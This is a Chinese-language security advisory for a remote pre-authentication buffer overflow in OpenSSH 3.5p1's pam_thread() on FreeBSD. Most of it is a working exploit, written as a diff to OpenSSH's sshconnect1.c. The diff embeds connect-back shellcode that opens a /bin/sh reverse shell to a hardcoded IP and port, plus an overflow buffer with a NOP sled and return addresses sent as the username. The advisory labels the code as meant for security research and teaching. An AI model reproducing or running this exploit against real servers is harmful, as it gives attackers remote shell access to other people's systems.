OpenSSH “pam_thread()”远程缓冲区溢出漏洞


发布日期:2011-06-30
更新日期:2011-06-30

受影响系统:
OpenSSH OpenSSH 3.5 p1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 48507

OpenSSH(Open Secure Shell)是使用SSH通过计算机网络加密通信的实现。

OpenSSH在pam_thread()的实现上存在远程缓冲区溢出漏洞,远程攻击者可利用此漏洞执行任意代码。

<*来源:Kingcope (kingcope@gmx.net)
 
  链接:http://packetstormsecurity.org/files/view/102683/ssh_preauth_freebsd.txt
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,717
// Connect Back Shellcode

#define IPADDR "\xc0\xa8\x20\x80"
#define PORT "\x27\x10" /* htons(10000) */

char sc[] =
"\x90\x90"
"\x90\x90"
"\x31\xc9" // xor ecx, ecx
"\xf7\xe1" // mul ecx
"\x51" // push ecx
"\x41" // inc ecx
"\x51" // push ecx
"\x41" // inc ecx
"\x51" // push ecx
"\x51" // push ecx
"\xb0\x61" // mov al, 97
"\xcd\x80" // int 80h
"\x89\xc3" // mov ebx, eax
"\x68"IPADDR // push dword 0101017fh
"\x66\x68"PORT // push word 4135
"\x66\x51" // push cx
"\x89\xe6" // mov esi, esp
"\xb2\x10" // mov dl, 16
"\x52" // push edx
"\x56" // push esi
"\x50" // push eax
"\x50" // push eax
"\xb0\x62" // mov al, 98
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xb0\x5a" // mov al, 90
"\x49" // dec ecx
"\x51" // push ecx
"\x53" // push ebx
"\x53" // push ebx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf5" // loop -10
"\x51" // push ecx
"\x68\x2f\x2f\x73\x68" // push dword 68732f2fh
"\x68\x2f\x62\x69\x6e" // push dword 6e69622fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x54" // push esp
"\x53" // push ebx
"\x53" // push ebx
"\xb0\xc4\x34\xff"
"\xcd\x80"; // int 80h

679a730,737
char buffer[8096];

// Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);
memset(buffer+24, '\x90', 5000);
memcpy(buffer+24+5000, sc, sizeof(sc));
server_user=buffer;

建议:
--------------------------------------------------------------------------------
厂商补丁:

OpenSSH
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.openssh.com/

相关内容